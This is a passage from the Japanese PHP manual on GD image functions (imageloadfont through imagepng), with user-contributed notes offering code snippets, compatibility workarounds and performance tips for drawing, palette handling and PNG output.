     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , ceil ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $y ++;
    }
   }
  }
 }

EDITOR: My previous code contained bugs. Please use this one instead.
kramesch_NOSPAM_ at _nospam_idsolutions dot at 26-Feb-2002 01:44
Here is a simple code to draw a line with an arbitrary stroke. The parameter aStroke is treated as a cyclic boolean array where true equals "set a point"
e.g. $aDotStroke = array(true,false);

function ImageStrokeLine($im,$x1,$y1,$x2,$y2,$farbe, $aStroke)
  {
    $deltax = abs($x2 - $x1);
    $deltay = abs($y2 - $y1);
    $x = $x1;
    $y = $y1;

    if ($x2 >= $x1)
    {
      $xinc1 = 1;
      $xinc2 = 1;
    }
    else
    {
      $xinc1 = -1;
      $xinc2 = -1;
    }

    if ($y2 >= $y1)
    {
      $yinc1 = 1;
      $yinc2 = 1;
    }
    else
    {
      $yinc1 = -1;
      $yinc2 = -1;
    }

    if ($deltax >= $deltay)
    {
      $xinc1 = 0;
      $yinc2 = 0;
      $den = $deltax;
      $num = $deltax / 2;
      $numadd = $deltay;
      $numpixels = $deltax;
    }
    else
    {
      $xinc2 = 0;
      $yinc1 = 0;
      $den = $deltay;
      $num = $deltay / 2;
      $numadd = $deltax;
      $numpixels = $deltay;
    }

    for ($curpixel = 0; $curpixel <= $numpixels; $curpixel++)
    {
      if ($iStrokeCount >= count($aStroke))
      {
        $iStrokeCount = 0;
      }

      if ($aStroke[$iStrokeCount++])
      {
        ImageSetPixel($im,$x, $y,$farbe);
      }
      $num += $numadd;
      if ($num >= $den)
      {
        $num -= $den;
        $x += $xinc1;
        $y += $yinc1;
      }
      $x += $xinc2;
      $y += $yinc2;
    }
  }
darren at php4hosting dot com 28-Oct-2000 10:48
It does work (With a bit of editing)
save the following as graph.php (You dont need any directorys)

<?php
Header("Content-type: image/png");
$picWidth=360*2;
$picHeight=200;
$pic=ImageCreate($picWidth+1,$picHeight+1);
$cWhite=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic,0,0,$picWidth+1,$picHeight+1,$cWhite);
$cRed=ImageColorAllocate($pic,255,0,0);
$cBlue=ImageColorAllocate($pic,0,0,255);
$curX=0;
$curY=$picHeight;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(cos(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cRed);
$curX=$newX;
$curY=$newY;
}
$curX=0;
$curY=$picHeight/2;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(sin(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cBlue);
$curX=$newX;
$curY=$newY;
}
$cBlack=ImageColorAllocate($pic,0,0,0);
ImageLine($pic,0,0,0,$picHeight,$cBlack);
ImageLine($pic,0,$picHeight/2,$picWidth,$picHeight/2,$cBlack);
ImagePNG($pic);
ImageDestroy($pic);
?>


新しいフォントを読み込む

  • ≪ imageline
  • imageopenpolygon ≫
  • PHP Manual
  • GD および Image 関数
  • 新しいフォントを読み込む

imageloadfont

(PHP 4, PHP 5, PHP 7, PHP 8)

imageloadfont — 新しいフォントを読み込む

説明

imageloadfont ( string $file ) : int

imageloadfont() はユーザーが定義したビットマップを読み込み、 その ID を返します。

パラメータ

file

フォントファイル形式は現在はバイナリで、アーキクチャに依存します。 このため、PHP を実行するマシーンと同一の型の CPU 上でフォントファイルを 生成する必要があります。

フォントファイルのフォーマット
バイト位置 | C 言語のデータ型 | 説明
0-3 バイト目 | int | フォント中の文字の数
4-7 バイト目 | int | フォント中の最初の文字の値(しばしば 空白を表す 32 となります)
8-11 バイト目 | int | 各文字のピクセル幅
12-15 バイト目 | int | 各文字のピクセル高さ
16 バイト目から | char | 文字データの配列、各文字のピクセルにつき1バイトで、 総数は(文字数*幅*高さ)バイトです。

返り値

フォント ID を返します。これは常に 5 より大きくなり、 組み込みのフォントと衝突することはありません。 エラー時には false を返します。

例

例1 imageloadfont() の使用例

<?php
// 新しい画像インスタンスを作成します
$im = imagecreatetruecolor(50, 20);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// 背景を白に設定します
imagefilledrectangle($im, 0, 0, 49, 19, $white);

// gd フォントを読み込み 'Hello' を書き込みます
$font = imageloadfont('./04b.gdf');
imagestring($im, $font, 0, 0, 'Hello', $black);

// ブラウザに出力します
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

参考

  • imagefontwidth() - フォントの幅を取得する
  • imagefontheight() - フォントの高さを取得する

User Contributed Notes

siker at norwinter dot com 28-Aug-2005 06:37
Working under the assumption that the only 'architecture dependant' part of the font files is endianness, I wrote a quick and dirty Python script to convert between the two. It has only been tested on a single font on a single machine so don't bet your life on it working. All it does is swap the byte order of the first four ints.

#!/usr/bin/env python

f = open("myfont.gdf", "rb");
d = open("myconvertedfont.gdf", "wb");

for i in xrange(4):
        b = [f.read(1) for j in xrange(4)];
        b.reverse();
        d.write(''.join(b));

d.write(f.read());

I successfully used this script to convert anonymous.gdf, from one of the font links below, into something useable on Mac OS X.
matthew at exanimo dot com 15-Aug-2005 10:28
Remember - GD fonts aren't antialiased.  If you're planning on using a pre-existing (TrueType) font, you may want to consider using imagettftext() instead of phillip's function.
alex at bestgames dot ro 02-Jul-2005 05:01
Confirmation code generation for preventing automated registrations on a website.

Function arguments are:
$code - the code that you shall random generate
$location - relative location of the image that shall be generated
$fonts_dir - relative location for the GDF fonts directory

This function will create an image with the code given by you and will save it in the directory specified with the name formed by MD5 hash of the code.

You may insert as many font types in the fonts directory as you wish, with random names.

<?php
function generate_image($code, $location, $fonts_dir)
{
     $image  = imagecreate(150, 60);
     imagecolorallocate($image, rand(0, 100), rand(100, 150), rand(150, 250));
     $fonts = scandir($fonts_dir);

     $max = count($fonts) - 2;

     $width = 10;
     for ($i = 0; $i <= strlen($code); $i++)
     {
         $textcolor = imagecolorallocate($image, 255, 255, 255);
         $rand = rand(2, $max);
         $font = imageloadfont($fonts_dir."/".$fonts[$rand]);

         $fh = imagefontheight($font);
         $fw = imagefontwidth($font);

         imagechar($image, $font, $width, rand(10, 50 - $fh), $code[$i], $textcolor);
          $width = $width + $fw;

     }

     imagejpeg($image, $location."/".md5($code).".jpg", 100);
     imagedestroy($image);

     return $code;

}

?>
angryziber at mail dot com 23-Aug-2000 07:23
You all should look at the GD image library site for information on extra fonts, it can be found at http://www.boutell.com/gd/


オープンポリゴンを描画する

  • ≪ imageloadfont
  • imagepalettecopy ≫
  • PHP Manual
  • GD および Image 関数
  • オープンポリゴンを描画する

imageopenpolygon

(PHP 7 >= 7.2.0, PHP 8)

imageopenpolygon — オープンポリゴンを描画する

説明

imageopenpolygon ( resource $image , array $points , int $num_points , int $color ) : bool

代替のシグネチャ (PHP 8.0.0 以降)

imageopenpolygon ( resource $image , array $points , int $color ) : bool

imageopenpolygon() 関数は、 与えられた image のオープンポリゴンを描画します。 imagepolygon() とは異なり、 始点と終点の間の線は描かれません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

points

ポリゴンの点を含む配列:

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

全ての点の数。少なくとも3以上である必要があります。

代替のシグネチャ(PHP 8.0.0 以降) でこの引数が省略された場合、 points は偶数でなければいけません。また、 num_points は count($points)/2 であると仮定されます。
color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imageopenpolygon() の例

<?php
// 空の画像を生成します。
$image = imagecreatetruecolor(400, 300);

// 色をポリゴンに割り当てます。
$col_poly = imagecolorallocate($image, 255, 255, 255);

// ポリゴンを描画します。
imageopenpolygon($image, array(
        0,   0,
        100, 200,
        300, 200
    ),
    3,
    $col_poly);

// 画像をブラウザに出力します。
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

上の例の出力は、 たとえば以下のようになります。

参考

  • imagepolygon() - 多角形を描画する

User Contributed Notes

marco at oostende dot nl 16-Dec-2018 11:56
In case you want to use an open polygon but are stuck with a PHP version prior to 7.2, a solution may be to 'backplot' your array to its original start. Say you have an array of pixels (below seperated by commas)

<?php
$arr = array();
for ($i = 0; $i < count($pixels); $i++) {
    $pixel = explode(',', $pixels[$i]);
    if (($pixel[0] > 0) && ($pixel[1] > 0)) {
        $arr[] = $pixel[0];
        $arr[] = $pixel[1];
    }
}
imagepolygon($im, $arr, (count($arr) / 2), $otcolor);
?>

you can replace this by something like

<?php
$arr = array();
for ($i = 0; $i < count($pixels); $i++) {
    $pixel = explode(',', $pixels[$i]);
    $arr[] = $pixel[0];
    $arr[] = $pixel[1];
}
// imageopenpolygon($im, $arr, (count($arr) / 2), $otcolor) is not possible, so...
for ($i = (count($pixels)-1); $i >= 0; $i--) {
    $pixel = explode(',', $pixels[$i]);
    $arr[] = $pixel[0];
    $arr[] = $pixel[1];
}
imagepolygon($im, $arr, (count($arr) / 2), $otcolor);
?>


あるイメージから他のイメージにパレットをコピーする

  • ≪ imageopenpolygon
  • imagepalettetotruecolor ≫
  • PHP Manual
  • GD および Image 関数
  • あるイメージから他のイメージにパレットをコピーする

imagepalettecopy

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagepalettecopy — あるイメージから他のイメージにパレットをコピーする

説明

imagepalettecopy ( resource $destination , resource $source ) : void

imagepalettecopy() は、パレットを source から destination にコピーします。

パラメータ

destination

コピー先の画像リソース。

source

コピー元の画像リソース。

返り値

値を返しません。

例

例1 imagepalettecopy() の例

<?php
// 2 つのパレット画像を作成します
$palette1 = imagecreate(100, 100);
$palette2 = imagecreate(100, 100);

// 最初のパレット画像の背景色を
// 緑に設定します
$green = imagecolorallocate($palette1, 0, 255, 0);

// パレットを画像 1 から画像 2 にコピーします
imagepalettecopy($palette2, $palette1);

// パレットをコピーしたので、
// imagecolorallocate() をもう一度使わなくても
// 画像 1 に割り当てられた緑色を使うことができます
imagefilledrectangle($palette2, 0, 0, 99, 99, $green);

// 画像をブラウザに出力します
header('Content-type: image/png');

imagepng($palette2);
imagedestroy($palette1);
imagedestroy($palette2);
?>

User Contributed Notes

buzz at nospam dot oska dot com 20-Oct-2005 04:51
actually it doesn't "copy" the palette exactly.  It copys the colors from the source palette to the destination image.   the palette you end up with in the destination image will be "same colors different order".   If you want an EXACT palette copy (at the expense of messing up your image if you aren't careful), then use this code:
<?
// this is a drop-in replacement for imagepalettecopy, except that it make NO attempt to modifiy any of the
// colors in the dest image, just the palette.   The result?  if you're palette's aren't very similar, the image will look completely different, and likely terrible!
function imagepalettecopy_exact ( $dst_img, $src_img) {
    for( $c = 0 ; $c < imagecolorstotal($src_img); $c++) {
        $col = imagecolorsforindex($src_img,$c);  //get color at index 'c' in the color table
        imagecolorset($dst_img,$c,$col[red],$col[green],$col[blue]); //set color at index 'c' to $col in the $dst_image
    }
}

?>
Los Olvidados 09-Jan-2003 04:55
To be precise, this function replaces the palette in the destination.


パレット形式の画像を true color に変換する

  • ≪ imagepalettecopy
  • imagepng ≫
  • PHP Manual
  • GD および Image 関数
  • パレット形式の画像を true color に変換する

imagepalettetotruecolor

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagepalettetotruecolor — パレット形式の画像を true color に変換する

説明

imagepalettetotruecolor ( resource $src ) : bool

imagecreate() のような関数で作ったパレット形式の画像を、 imagecreatetruecolor() で作るような true color 形式に変換します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

変換に成功した場合や、元画像が既に true color だった場合に true を返します。 それ以外の場合に false を返します。

例

例1 画像リソースの true color への変換

<?php
// 過去との互換性のための処理
if(!function_exists('imagepalettetotruecolor'))
{
    function imagepalettetotruecolor(&$src)
    {
        if(imageistruecolor($src))
        {
            return(true);
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;

        return(true);
    }
}

// ヘルパークロージャ
$typeof = function() use($im)
{
    echo 'typeof($im) = ' . (imageistruecolor($im) ? 'true color' : 'palette'), PHP_EOL;
};

// パレット形式の画像を作ります
$im = imagecreate(100, 100);
$typeof();

// true color に変換します
imagepalettetotruecolor($im);
$typeof();

// メモリを解放します
imagedestroy($im);
?>

上の例の出力は以下となります。

typeof($im) = palette
typeof($im) = true color

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する
  • imageistruecolor() - 画像が truecolor かどうか調べる

User Contributed Notes

walf - iftfy 17-Mar-2017 03:46
here the working version of walf's solution

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($dst, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>
Polda18 30-Apr-2014 02:44
PHP ver 5.4.24 does not support this function (it has not been defined). To get rid of this, you must copy image resource to new image created by function imagecreatetruecolor();

Example with image loaded from GIF file:

$image  = imagecreatefromgif("path/to/gif/file.gif");  //create an image from GIF
$width  = imagesx($image);                             //get width of source image
$height = imagesy($image);                             //get height of source image
$image2 = imagecreatetruecolor($width,$height);        //create new image of true colors with given width and height
imagecopy($image2,$image,0,0,0,0,$width,$height);      //copy source image to new one

header("Content-Type: image/jpeg");                    //set header for JPG image
imagejpg($image2);                                     //render JPg image into browser

imagedestroy($image);                                  //free up memory
imagedestroy($image2);
walf 21-Mar-2014 06:20
The backwards compatibility example does not preserve transparency. You must first wipe out the default black background on the new image:

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($new_image, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, $imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>


PNG イメージをブラウザまたはファイルに出力する

  • ≪ imagepalettetotruecolor
  • imagepolygon ≫
  • PHP Manual
  • GD および Image 関数
  • PNG イメージをブラウザまたはファイルに出力する

imagepng

(PHP 4, PHP 5, PHP 7, PHP 8)

imagepng — PNG イメージをブラウザまたはファイルに出力する

説明

imagepng ( resource $image , mixed $to = null , int $quality = -1 , int $filters = -1 ) : bool

指定した image から、PNG 画像を出力あるいは保存します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

注意:

quality および filters を使用しない場合は、 null を指定することはできません。

quality

圧縮レベル。0 (圧縮しない) から 9 までの値です。 デフォルト (-1) は、zlib の圧縮レベルのデフォルトを使います。 詳細は、» zlib マニュアル をご覧ください。

filters

PNG ファイルの大きさを小さくします。 これはビットマスクフィールドで、定数 PNG_FILTER_XXX の組み合わせを指定します。 PNG_NO_FILTER や PNG_ALL_FILTERS を使用すると、 全フィルタを一括で無効にしたり有効にしたりできます。 デフォルト値 (-1) は、フィルタリングを無効にします。

警告

システムにインストールされた libgd は、filters パラメータを無視します。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

<?php
$im = imagecreatefrompng("test.png");

header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

参考

  • imagegif() - 画像をブラウザあるいはファイルに出力する
  • imagewbmp() - 画像をブラウザあるいはファイルに出力する
  • imagejpeg() - 画像をブラウザあるいはファイルに出力する
  • imagetypes() - この PHP がサポートしている画像形式を返す
  • imagesavealpha() - PNG 画像を保存する際に、完全なアルファチャネル情報を保存するかどうかを指定する

User Contributed Notes

klaus at hax dot at 07-Feb-2017 05:25
apparently something changed from php 5.5 to 5.6.

I used to call ImagePng($image, '');
apparently this doesn't work anymore in 5.6 as it returns: imagepng(): Filename cannot be empty

ImagePng($image, NULL);

seems to work fine though.
Chris F 14-Aug-2015 04:33
I was curious about the relationship between quality, processing time and resulting image size, so I created this little benchmark to test it (The image used was originally RGB_24bits_palette_R85.png, found on wikipedia). Results are at the bottom.
<?php
$sizes = ['32', '64', '128', '256', '512', '1024', '2048'];

foreach ($sizes as $size) {
    echo "\nSize: {$size}x{$size}px:\n";

    $image = imagecreatefrompng("images/test{$size}.png");
    for ($quality = 0; $quality < 10; $quality++) {
        ob_start();

        $start = microtime(true);
        imagepng($image, null, $quality);
        $elapsed = microtime(true) - $start;

        $blob = ob_get_contents();
        ob_end_clean();

        $blobSize = strlen($blob);
        echo "quality: $quality, size: $blobSize, elapsed: $elapsed\n";
    }

    imagedestroy($image);
}

// Results (some omitted for brevity):

// Size: 32x32px:
// quality: 0, size: 3172, elapsed: 0.00013399124145508
// quality: 1, size: 266, elapsed: 9.4890594482422E-5
// quality: 2, size: 264, elapsed: 7.7009201049805E-5
// quality: 3, size: 223, elapsed: 7.4863433837891E-5
// quality: 4, size: 225, elapsed: 8.5830688476562E-5
// quality: 5, size: 209, elapsed: 8.5115432739258E-5
// quality: 6, size: 208, elapsed: 9.608268737793E-5
// quality: 7, size: 205, elapsed: 0.0001060962677002
// quality: 8, size: 186, elapsed: 0.00015091896057129
// quality: 9, size: 181, elapsed: 0.00022006034851074

// Size: 128x128px:
// quality: 0, size: 49425, elapsed: 0.0010969638824463
// quality: 1, size: 976, elapsed: 0.00091886520385742
// quality: 2, size: 938, elapsed: 0.00088310241699219
// quality: 3, size: 925, elapsed: 0.00087594985961914
// quality: 4, size: 608, elapsed: 0.0009760856628418
// quality: 5, size: 607, elapsed: 0.00098395347595215
// quality: 6, size: 601, elapsed: 0.0010099411010742
// quality: 7, size: 602, elapsed: 0.001086950302124
// quality: 8, size: 521, elapsed: 0.001910924911499
// quality: 9, size: 491, elapsed: 0.0029060840606689

// Size: 512x512px:
// quality: 0, size: 788279, elapsed: 0.012928009033203
// quality: 1, size: 12467, elapsed: 0.013065099716187
// quality: 2, size: 11885, elapsed: 0.013008117675781
// quality: 3, size: 11190, elapsed: 0.013030052185059
// quality: 4, size: 7311, elapsed: 0.016619920730591
// quality: 5, size: 6994, elapsed: 0.016351222991943
// quality: 6, size: 6475, elapsed: 0.016234159469604
// quality: 7, size: 6432, elapsed: 0.016525983810425
// quality: 8, size: 6094, elapsed: 0.022937774658203
// quality: 9, size: 5649, elapsed: 0.065664052963257

// Size: 2048x2048px:
// quality: 0, size: 12605375, elapsed: 0.20983290672302
// quality: 1, size: 451735, elapsed: 0.19678711891174
// quality: 2, size: 409375, elapsed: 0.19415307044983
// quality: 3, size: 366404, elapsed: 0.20460414886475
// quality: 4, size: 312538, elapsed: 0.22785305976868
// quality: 5, size: 281671, elapsed: 0.23320484161377
// quality: 6, size: 244248, elapsed: 0.28935289382935
// quality: 7, size: 238310, elapsed: 0.33481192588806
// quality: 8, size: 217038, elapsed: 0.71698379516602
// quality: 9, size: 208881, elapsed: 1.858146905899
?>
php dot net at phor dot net 23-Oct-2013 01:46
If you are outputting a PNG directly in response to a client request it is important to check your web server configuration.

Some clients may request your images with a <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">accept header</a> of image/*. Default configurations of Apache and possibly other servers will by default NOT allow your script to run in response to this request.

Apache is specifically discussed at http://stackoverflow.com/q/19169337 but other server have been documented to have issue too.

In other words, when testing your application don't just use the web browser, consider a phone's browser and networking libraries which could send different headers.
geompse at gmail dot com 23-Mar-2012 11:41
Be careful when using a variable for the file name.
PHP behavior with $filename differs when switching to PHP5.4 : PHP5.3 will use $filename='' the same way as $filename=NULL (e.g. no warning)
<?php
$im = imagecreatetruecolor(10,10);
imagepng($im,'',9); # Warning: imagepng(): Filename cannot be empty
imagepng($im,NULL,9); # works as expected
imagedestroy($im);
?>
matteosistisette at gmail dot com 09-Oct-2011 12:02
The name "quality" for the compression parameter is quite misleading, as png compression is always lossless. The trade off is between speed and filesize, it cannot affect quality.

Here's something I found at stackoverflow; I haven't checked it, but if it is correct it should definitely included in the documentation:

---
from php source (gd.h):

/* 2.0.12: Compression level: 0-9 or -1, where 0 is NO COMPRESSION at all,
* 1 is FASTEST but produces larger files, 9 provides the best
* compression (smallest files) but takes a long time to compress, and
* -1 selects the default compiled into the zlib library.
*/
Conclusion: Based on the Zlib manual (http://www.zlib.net/manual.html) the default compression level is set to 6.
---

Regarding suggestions to rescale the 0-99 quality range of jpeg into the 0-9 range of png, note that for jpeg 99 is minimum compression (maximum quality) while for png 9 is maximum compression (quality doesn't change).
Zane, MegaLab.it 14-Jul-2011 11:38
My script was unable to complete: Fatal error: Allowed memory size of XX bytes exhausted (tried to allocate XX+n bytes).

I found out that PHP handles images in uncompressed format: my input image was 8768x4282@32 bit => ~150 MB per single in-memory copy.

As a solution, you can either check the dimensions and reject anything too big or, as I did, use ini_set('memory_limit','1024M'); on the page start (if your server has enough on board memory).
boukeversteegh at gmail dot com 03-May-2011 02:41
If you care about speed, you probably already cache your generated images to a file. In that case, DON'T use "createimagefrompng" and "imagepng" to output the image. Use fpassthru instead. It is literally hundreds of times faster.

<?php
  header("Content-Type: image/png");

  # Generate cachefile for image, if it doesn't exist
  if( !file_exists($cachefile) ) {
    $im = generateimage();     # some code generates an image resource
    imagepng($im, $cachefile); # store the image to cachefile

    # don't output it like this:
    /* imagepng($im);*/

    imagedestroy($im);
  }

  $fp = fopen($cachefile, 'rb'); # stream the image directly from the cachefile
  fpassthru($fp);
  exit;
?>

I've tested it with a 5120x5120 (1.2Mb) image, that was cached on the harddisk. Using imagepng, the transfer took 12 seconds. Using fpassthru, it took only 32ms!
codam 15-Mar-2011 10:03
Creating a transparent image filled with tranparent color only

I had some hard times putting up this one:

<?php
// Set the image
$img = imagecreatetruecolor(100,100);
imagesavealpha($img, true);

// Fill the image with transparent color
$color = imagecolorallocatealpha($img,0x00,0x00,0x00,127);
imagefill($img, 0, 0, $color);

// Save the image to file.png
imagepng($img, "file.png");

// Destroy image
imagedestroy($img);
?>
mhorne69 at gmail dot com 24-Oct-2010 07:02
If you're generating an image dynamically based on post data and don't want to save it to the server, sending it to be displayed can cause problems as when the person tries to save it, the browser will request it again from the server (causing any post data to be lost and probably a corrupted png).

The easiest way to get around this is to force it to download using the content disposition header, for example:

<?php
header('Content-Disposition: Attachment;filename=image.png');
header('Content-type: image/png');
?>
anonymous 01-Sep-2010 12:51
If you need to call imagepng() multiple times (for example, when you want to send it to the browser, but also to a disk cache), write your image to a file first, THEN call readfile() on it.

PHP internally works with a temporary file when sending the image to the browser, so you'll gain nothing by calling imagepng() twice.
wietse89 at gmail dot com 29-Mar-2010 06:55
When you allow multiple output formats, (jpg/png) but want to use the 1-100 quality scale (like jpg), you will have to format the number:

<?php
$pngQuality = ($quality - 100) / 11.111111;
$pngQuality = round(abs($pngQuality));
imagepng($resource, $path, $pngQuality);
?>
r.lomas at infonie.fr 19-Feb-2010 07:53
I just lost about 4 hours on a really stupid problem. My images on the local server were somehow broken and therefore did not display in the browsers. After much looking around and testing, including re-installing apache on my computer a couple of times, I traced the problem to an included file.
No the problem was not a whitespace, but the UTF BOM encoding character at the begining of one of my inluded files...
So beware of your included files!
Make sure they are not encoded in UTF or otherwise in UTF without BOM.
Hope it save someone's time.
thalis kalfigopoulos 08-May-2009 04:17
I ran across the following WRT sessions and image creation.

In main.php:
<?php
  (...session in progress...)
  $_SESSION['text']='some text...';
  $imgSrc='http://foo.com/createImage.php?sid='.session_id();
  echo('<img src="'.$imgSrc.'"/>');
  unset($_SESSION['text']);
...
?>

In createImage.php:
<?php
  header('image/png');
  session_id($_REQUEST['sid']);
  session_start();
  $img=imagecreatetruecolor(200, 30);
  $text_color=imagecolorallocate($img, 200, 200, 200);
  imagestring($img, 5, 5, 5,  $_SESSION['text'], $text_color);
  imagepng($img);
  imagedestroy($img);
?>

Problem: main.php execution ends before createImage.php writing the text to image, thus the unset($_SESSION['text']) destroys the text and you end up with empty image.
Solution: move call to unset() as last statement of createImage.php
matt at mattbostock dot com 16-Mar-2009 12:11
To change the background of a 24-bit PNG for graceful degradation in IE6, the PNG file needs a bKGD chunk:

<?php
    // insert a BKGD chunk into the PNG file for graceful image degradation in IE6
    $bgColor = array(250, 250, 250);
    $pngData = bin2hex(file_get_contents($filename));

    $idatMarker = '200049444154';
    $bkgdMarker = '624b4744';

    $bkgdChunk = '0006' . $bkgdMarker;
    foreach ($bgColor as $bit)
    {
        $bkgdChunkData .= '00' . dechex($bit);
    }
    $bkgdChunk .= $bkgdChunkData;
    $bkgdChunk .= dechex(crc32(pack('H*', $bkgdMarker . $bkgdChunkData))) . '0000';

    $parsed = explode($idatMarker, $pngData, 2); // split file by first 'IDAT' chunk
    $pngData = pack('H*', $parsed[0] . $bkgdChunk . $idatMarker . $parsed[1]);
    file_put_contents($cachedFilename, $pngData);
?>
eetu11 at suomi24 dot fi 01-Nov-2008 07:20
<?php

    // aid of the highlighted Alliance
    $marked_aid = 2403;

    // Preferences
    $mysqlhost = 'localhost';
    $mysqluser = 'user';
    $mysqlpass = 'password';
    $mysqldb = 'database';

    // Create database connection and select database
    $db = @mysql_connect($mysqlhost, $mysqluser, $mysqlpass) OR die('Can not connect to DB-Server!');
    $db_select = @mysql_select_db($mysqldb) OR die('Can not select DB!');

    // Create image: Map goes from -400 to 400
    // -> sums up tp 2*400+1 (+1 due to the 0 in the center)
    $image = imagecreate(801, 801);

    // Choose the colors of background, normal village and highlighted alliance
    $color_background = imagecolorallocate($image, 255, 255, 255);
    $color_normal = imagecolorallocate($image, 200, 200, 200);
    $color_marked = imagecolorallocate($image, 255, 0, 0);

    // Fill images background with chosen color
    imagefill($image, 0, 0, $color_background);

    // Select ALL villages from the DB and order by ascending ID
    // (Fields are numbered from top left to bottom right)
    $query = 'SELECT x, y, aid FROM x_world ORDER BY id ASC';
    $result = @mysql_query($query) OR die('Can not select villages from table x_world!');

    // Check whether there any villages at all
    if (mysql_num_rows($result)) {

        // Select first village
        $row = @mysql_fetch_assoc($result);

        // These variables save the location on which we are currently drawing
        $x_pointer = 0;
        $y_pointer = 0;

        // Outer loop for the Y-coordinates
        for($y=400; $y >= -400; $y--) {

            // Inner loop for the X-coordinates
            for ($x=-400; $x <= 400; $x++) {

                // Once we reached the coordinates matching the current record selected from the DB:
                if ($row['x'] == $x AND $row['y'] == $y) {

                    // Selecting the village color depending on the aid
                    if ($row['aid'] == $marked_aid) {
                        $color = $color_marked;
                    } else {
                        $color = $color_normal;
                    }

                    // Drawing the village with the selected color
                    imagefilledrectangle($image, $x_pointer, $y_pointer, ($x_pointer + 1), ($y_pointer + 1), $color);

                    // Select next record
                    $row = @mysql_fetch_assoc($result);
                }

                // Increase pointer for X-coordinate
                $x_pointer++;
            }

            // Increase pointer for Y-coordinate
            $y_pointer++;

            // We reached the end of a line and have to set the X-pointer to 0 again
            $x_pointer = 0;
        }
    }

    // Select the HTTP-Header for the selected filetype
    header("Content-Type: image/png");

    // Generate image and print it
    imagepng($image);

?>
luxian.m [at] gmail [dot] com 16-Sep-2008 01:46
If you want to open a png image with alpha blending, you need to do something like this:

<?php
$file = 'semitransparent.png'; // path to png image
$img = imagecreatefrompng($file); // open image
imagealphablending($img, true); // setting alpha blending on
imagesavealpha($img, true); // save alphablending setting (important)
?>

I spent almost a day to find out why alpha blending doesn't work. I hope this is usefull to others too :)
vicrry at yahoo dot com 18-Apr-2008 04:16
@ phpman at texmedia dot de:

The compression range in PNG is in range 0-9, i think if you specified a compression level higher than 9, it'll be completely "compressed", or suppressed in the other words.

The compression level is originally for JPEG, which is in range 0 - 100, I think it'll work fine if you divide it by ten before passing to imagepng(). ;)
Jeff Sauro 13-Nov-2007 03:39
My webserver, running 5.14 didn't like the header that was generated using imagepng(). It works find on my local test server and on 4.x from another host.

The generated image displays in the browser (IE, firefox) but when saved to a file or inserted into an RTF file, the image was corrupted. As a test, when attempting to right-click to save as, the image format was not recognized.

The only work-around appears to be adding the additional paramaters.

So instead of just
imagepng($image); //DIDNT WORK--CORUPT IMAGE

This worked
imagepng($image,NULL,0,NULL);

and saving to disk, this worked:
imagepng($image,$file_location,0,NULL);

Jeff
phpman at texmedia dot de 27-Oct-2007 02:06
When changeing the PHP version from 4 to 5 I found out, that PHP5 handles imagepng() more restrictive than in PHP4. I'd used

imagepng($image,'',90);

to reduce the image quality whithout saving the image as a file. The quality parameter is not supported at all, I used imagejpg before and simply changed the function to imagepng whithout taking care of the existing parameters. It did not matter and there was no error in PHP4. But in PHP5, the image will not be shown anymore. So you have to remove it to have the standard:

imagepng($image);
alex at gateway-productions dot com 08-Jan-2007 03:17
barts code below does not work at least with gd 2

Only returns a blank image with alpha not the source resized

        $im = ImageCreateFromPNG($sourcefile);
